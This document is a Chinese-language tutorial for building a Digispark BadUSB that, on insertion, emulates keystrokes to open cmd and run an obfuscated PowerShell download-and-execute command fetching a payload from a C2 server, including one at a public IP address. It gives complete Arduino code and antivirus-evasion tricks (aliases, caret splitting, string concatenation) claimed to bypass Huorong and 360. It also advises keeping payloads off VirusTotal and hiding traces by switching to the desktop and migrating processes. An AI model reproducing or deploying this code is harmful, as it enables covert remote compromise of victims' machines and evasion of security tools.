BadUsb实现免杀及插及上线C2服务器
字数 1160 2025-08-24 16:48:17

BadUSB实现免杀及即插即上线C2服务器教学文档

0x01 准备阶段

硬件准备

  • 购买BadUSB设备:推荐使用Digispark开发板
  • 设备特点:模拟键盘输入功能,小巧便携

软件准备

  1. 安装Arduino IDE开发环境

  2. 配置Arduino IDE:

    • 添加Digispark开发板支持
    • 安装相关驱动程序
    • 参考配置链接:简书配置教程
  3. 学习Digispark编程语法:

    • 语法相对简单
    • 可边查资料边编写代码

0x02 代码编写基础框架

基本原理

BadUSB通过模拟键盘输入执行恶意操作,核心框架如下:

#include "DigiKeyboard.h"
#define MOD_SHIFT_LEFT (1<<1)
#define MOD_CONTROL_LEFT (1<<0)
#define KEY_ENTER 40
#define KEY_CAPS_LOCK 0x39

void setup() {
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+r
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("cmd")); //输入cmd
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
  DigiKeyboard.delay(500);
  // 此处插入恶意代码
}

void loop() {}

执行流程说明

  1. 插入后延迟2秒开始执行
  2. 模拟Win+R组合键打开运行窗口
  3. 输入"cmd"并回车打开命令提示符
  4. 每次操作后延迟0.5秒确保执行

0x03 上线C2服务器的两种思路

方法一:文件下载上线

  • 优点:直接下载恶意文件执行
  • 缺点
    • 常见下载命令(certutil等)被主流杀软拦截
    • 双写certutil可绕过火绒但无法绕过360
    • 恶意文件本身需要额外免杀处理
  • 结论:免杀难度较大,不推荐

方法二:PowerShell命令上线

方案1:通过ps1文件上线

  • 优点:ps1文件免杀效果较好
  • 缺点
    • 代码量大导致闪存空间不足(仅45%可用)
    • 解决方案:
      • 购买闪存更大的开发板
      • 精简ps1文件内容
  • 结论:实施难度较大

方案2:通过web服务上线(推荐)

  • 优点
    • payload精简,不占用过多闪存
    • 可针对性做免杀处理
  • 免杀技巧
    • 设置别名
    • 使用^字符间隔
    • 加号拼接字符串

免杀payload示例

cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "NeT.WeBClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.1.1'+'/a') | p^o^w^e^r^s^h^e^l^l -

特点

  • 不添加hidden参数(影响免杀效果)
  • 实测可绕过火绒和360
  • 需要用户点击鼠标放行

0x04 完整代码实现

基础实现代码

#include "DigiKeyboard.h"
#define MOD_SHIFT_LEFT (1<<1)
#define MOD_CONTROL_LEFT (1<<0)
#define KEY_ENTER 40
#define KEY_CAPS_LOCK 0x39

void setup() {
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+r
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("cmd")); //输入cmd
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object \"NeT.WeBClienT\").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.1.1'+'/a') | p^o^w^e^r^s^h^e^l^l -")); //POWERSHELL上线
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
}

void loop() {}

0x05 代码优化

问题1:中文输入法干扰

解决方案

  • 开始模拟输入前锁定大小写
  • 免杀代码中路径大小写混合(如'a'和'A')

问题2:残留CMD黑框

解决方案

  • 执行后模拟Win+D返回桌面
  • CS上线后立即迁移进程

优化后的完整代码

#include "DigiKeyboard.h"
#define MOD_SHIFT_LEFT (1<<1)
#define MOD_CONTROL_LEFT (1<<0)
#define KEY_ENTER 40
#define KEY_CAPS_LOCK 0x39

void setup() {
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(2000);
  DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //win+r
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_CAPS_LOCK); //锁定大小写,防止默认中文输入法
  DigiKeyboard.delay(500);
  // powershell上线 免杀火绒360 窗口不隐藏 需要点鼠标杀软放行
  DigiKeyboard.print(F("cmd")); //输入cmd
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("cmd /c echo set-alias -name xz -value IEX;x^z (New-Object \"NeT.WeBClienT\").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://4'+'3.138.111.78'+'/A') | p^o^w^e^r^s^h^e^l^l -")); //POWERSHELL上线 路径大小写都要有a A
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER); //回车
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_D,MOD_GUI_LEFT); //win+d
}

void loop() {}

0x06 关键注意事项

  1. 免杀保护

    • 不要将免杀payload提交到微步、VT等检测平台
    • 定期更新免杀技术(免杀方法有有效期)
  2. 执行流程

    • 确保每个操作后有适当延迟(0.5秒)
    • 考虑目标机器的性能差异
  3. 输入法问题

    • 始终先锁定大写状态
    • 关键路径使用大小写混合
  4. 隐蔽性

    • 执行后最小化/隐藏CMD窗口
    • 上线后尽快迁移进程

0x07 扩展参考

  1. Digispark开发入门
  2. PowerShell免杀技术研究
  3. C2服务器配置指南

0x08 总结

本方案实现了:

  • BadUSB即插即用自动执行
  • 绕过火绒和360的免杀效果
  • 执行后自动隐藏痕迹
  • 稳定上线C2服务器

未来可改进方向:

  • 增加更多免杀技巧
  • 支持更多C2框架
  • 针对不同地区输入法的适配
BadUSB实现免杀及即插即上线C2服务器教学文档 0x01 准备阶段 硬件准备 购买BadUSB设备:推荐使用Digispark开发板 设备特点:模拟键盘输入功能,小巧便携 软件准备 安装Arduino IDE开发环境 配置Arduino IDE: 添加Digispark开发板支持 安装相关驱动程序 参考配置链接: 简书配置教程 学习Digispark编程语法: 语法相对简单 可边查资料边编写代码 0x02 代码编写基础框架 基本原理 BadUSB通过模拟键盘输入执行恶意操作,核心框架如下: 执行流程说明 插入后延迟2秒开始执行 模拟Win+R组合键打开运行窗口 输入"cmd"并回车打开命令提示符 每次操作后延迟0.5秒确保执行 0x03 上线C2服务器的两种思路 方法一:文件下载上线 优点 :直接下载恶意文件执行 缺点 : 常见下载命令(certutil等)被主流杀软拦截 双写certutil可绕过火绒但无法绕过360 恶意文件本身需要额外免杀处理 结论 :免杀难度较大,不推荐 方法二:PowerShell命令上线 方案1:通过ps1文件上线 优点 :ps1文件免杀效果较好 缺点 : 代码量大导致闪存空间不足(仅45%可用) 解决方案: 购买闪存更大的开发板 精简ps1文件内容 结论 :实施难度较大 方案2:通过web服务上线(推荐) 优点 : payload精简,不占用过多闪存 可针对性做免杀处理 免杀技巧 : 设置别名 使用^字符间隔 加号拼接字符串 免杀payload示例 : 特点 : 不添加hidden参数(影响免杀效果) 实测可绕过火绒和360 需要用户点击鼠标放行 0x04 完整代码实现 基础实现代码 0x05 代码优化 问题1:中文输入法干扰 解决方案 : 开始模拟输入前锁定大小写 免杀代码中路径大小写混合(如'a'和'A') 问题2:残留CMD黑框 解决方案 : 执行后模拟Win+D返回桌面 CS上线后立即迁移进程 优化后的完整代码 0x06 关键注意事项 免杀保护 : 不要将免杀payload提交到微步、VT等检测平台 定期更新免杀技术(免杀方法有有效期) 执行流程 : 确保每个操作后有适当延迟(0.5秒) 考虑目标机器的性能差异 输入法问题 : 始终先锁定大写状态 关键路径使用大小写混合 隐蔽性 : 执行后最小化/隐藏CMD窗口 上线后尽快迁移进程 0x07 扩展参考 Digispark开发入门 PowerShell免杀技术研究 C2服务器配置指南 0x08 总结 本方案实现了: BadUSB即插即用自动执行 绕过火绒和360的免杀效果 执行后自动隐藏痕迹 稳定上线C2服务器 未来可改进方向: 增加更多免杀技巧 支持更多C2框架 针对不同地区输入法的适配